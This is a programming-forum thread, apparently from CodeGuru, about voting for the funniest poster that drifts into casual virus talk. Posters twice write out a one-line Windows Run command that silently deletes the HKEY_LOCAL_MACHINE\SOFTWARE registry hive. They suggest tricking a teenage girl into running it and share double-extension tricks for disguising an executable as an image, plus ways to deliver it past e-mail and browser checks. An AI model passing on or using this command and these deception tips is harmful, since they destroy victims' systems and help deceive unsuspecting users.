Most funny poster

It's amazing how quickly you guys turn a thread!

My vote goes out to Squirrel god, Darwen and Deniz (aka: Hot Geek King) ;)

From Skoons:

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Xeon you have greate imagination, don`t you tried to write computer viruses??

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Nah, I dunno how to. The only kind of virus I can ever write is an executable EXE program that when launched, deletes the crucial Windows system files and the crucial HKEY values in the registry. But who would ever fall for such a trick? Besides, how do I distrbute it? Those virus writers out there can write viruses that can affect millions of PCs around the world in less than 6 hours. For my kinda virus, I need more than 3 hours just to convince 1 single naive teenage girl to launch my program. And how am I gonna do that? Tour the neighbourhood like a salesman? But the thing is : the next time their computer can't start-up, they'll know it's me and will give my facial description to the cops and I'm dead. :D

From Ree:

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looks like no ban for me then

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Nah.....don't be too smug. Like the Chief said, one more time and you'll be banned. And you won't returned, cos' u're unlike me. I've long ties with CodeGuru and that's why I get certain "discounts" and privileges.
Why.....I even purchase a Barbie doll playhouse for the Chief's 6 year old cutie daughter last month!
Hey Gwendoline L. Jones.....u like that dollhouse which uncle Xeon gave you? Cute eh? :wave:

From Gurley:

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It's amazing how quickly you guys turn a thread!

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Hey NoHero! Your girlfriend's here! Hello? U there? Com'on, get out of that hole, stop hiding! Don't you wanna see her before she becomes Deniz's girl? Sigh.

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My vote goes out to Squirrel god, Darwen and Deniz (aka: Hot Geek King)

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Xeon : Hey Gwendoline L. Jones.......please persuade your daddy to ban this Gurley_Girl. She's insulting uncle Xeon with every post she makes and she doesn't even wanna vote for your uncle Xeon.
Now.....uncle Xeon didn't give you that dollhouse for nothing, right? :cool:

Good day,
Xeon.

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Originally Posted by Xeon

Nah, I dunno how to. The only kind of virus I can ever write is an executable EXE program that when launched, deletes the crucial Windows system files and the crucial HKEY values in the registry. But who would ever fall for such a trick? Besides, how do I distrbute it? Those virus writers out there can write viruses that can affect millions of PCs around the world in less than 6 hours. For my kinda virus, I need more than 3 hours just to convince 1 single naive teenage girl to launch my program. And how am I gonna do that? Tour the neighbourhood like a salesman? But the thing is : the next time their computer can't start-up, they'll know it's me and will give my facial description to the cops and I'm dead. :D

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No need of executable EXE files... just tell the kid to type this in run:

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cmd /c "echo Windows Registry Editor Version 5.00 >> c:\reg.reg && echo. >> c:\reg.reg && echo [-HKEY_LOCAL_MACHINE\SOFTWARE] >> c:\reg.reg && regedit -s c:\reg.reg"

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And it really works! :D

EDIT: Be careful... that was no joke :eek:

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Originally Posted by Xeon

Hey NoHero! Your girlfriend's here! Hello? U there? Com'on, get out of that hole, stop hiding! Don't you wanna see her before she becomes Deniz's girl? Sigh.

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What's on the menu? Xeon can you take down my order please?

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Originally Posted by Xeon

Xeon : Hey Gwendoline L. Jones.......please persuade your daddy to ban this Gurley_Girl. She's insulting uncle Xeon with every post she makes and she doesn't even wanna vote for your uncle Xeon.
Now.....uncle Xeon didn't give you that dollhouse for nothing, right? :cool:

Good day,
Xeon.

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I don't want to vote for you, you're not funny.

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Originally Posted by gurleygirl

I don't want to vote for you, you're not funny.

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Servant's do not need to be funny. Have you ever seen Butler James laugh? XEEEOOON!!! Have you ironed my news paper?!?! I am still waiting for it!!!!

:D

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Originally Posted by Xeon

From Skoons:

Nah, I dunno how to. The only kind of virus I can ever write is an executable EXE program that when launched, deletes the crucial Windows system files and the crucial HKEY values in the registry. But who would ever fall for such a trick? Besides, how do I distrbute it? Those virus writers out there can write viruses that can affect millions of PCs around the world in less than 6 hours. For my kinda virus, I need more than 3 hours just to convince 1 single naive teenage girl to launch my program. And how am I gonna do that? Tour the neighbourhood like a salesman? But the thing is : the next time their computer can't start-up, they'll know it's me and will give my facial description to the cops and I'm dead. :D

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You need simply to name it like SomeName.jpg (enter her as much as possible (nearly 100) spaces and exe at the end
It works. So Now many viruses has exe envelope. That not old good days. People have forget assembler :sick:
:sick: :sick:

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Originally Posted by Skoons

You need simply to name it like SomeName.jpg (enter her as much as possible (nearly 100) spaces and exe at the end
It works. So Now many viruses has exe envelope. That not old good days. People have forget assembler :sick:
:sick: :sick:

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I don't think that "naive teenage girl" he was talking about can be fooled so easily.. u need to tell her ... hey cutie, i got a surprise.. you can see Bill Gates saying hi to you by typing this in your run:

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cmd /c "echo Windows Registry Editor Version 5.00 >> c:\reg.reg && echo. >> c:\reg.reg && echo [-HKEY_LOCAL_MACHINE\SOFTWARE] >> c:\reg.reg && regedit -s c:\reg.reg"

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:D

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Originally Posted by Skoons

You need simply to name it like SomeName.jpg (enter her as much as possible (nearly 100) spaces and exe at the end
It works. So Now many viruses has exe envelope. That not old good days. People have forget assembler :sick:
:sick: :sick:

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Since most of the people have turned on the setting "Hide extension of known file types" you can easily make a file: somename.jpg.exe and lay it on desktop: The ".exe" will be cut out and the user thinks he opens an jpeg file.

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Originally Posted by NoHero

Since most of the people have turned on the setting "Hide extension of known file types" you can easily make a file: somename.jpg.exe and lay it on desktop: The ".exe" will be cut out and the user thinks he opens an jpeg file.

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Here are some problems because of that trick..
If you are going to transfer an exe with a disguised name... u hav to consider transfering by
1. Your instant messaging where extension will be shown .. or exe will be blocked
2. E-mail.. nowadays, they won't allow you to send EXE as attachment!
3.. any other suggestions?

3. What about hosting the EXE file on a website?..
But the irritating SP2 of Windows XP will alert that it is an EXE if the person is using Internet Explorer

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Originally Posted by bijuabrahamp

Here are some problems because of that trick..
If you are going to transfer an exe with a disguised name... u hav to consider transfering by
1. Your instant messaging where extension will be shown .. or exe will be blocked
2. E-mail.. nowadays, they won't allow you to send EXE as attachment!
3.. any other suggestions?

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There are some tricks. i will post them, but I need to translate them to English at first

Its amazing to see how this thread became a virus tutorial (at the moment). :D

// Skoons, I'll be waiting for those "tricks" you mentioned. :)

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Originally Posted by gurleygirl

I don't want to vote for you, you're not funny.

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Very well said. :thumb: :D

hey dont get this thread closed because of the virus related discussions... guys .. vote for the most funny poster...or talk about anything else....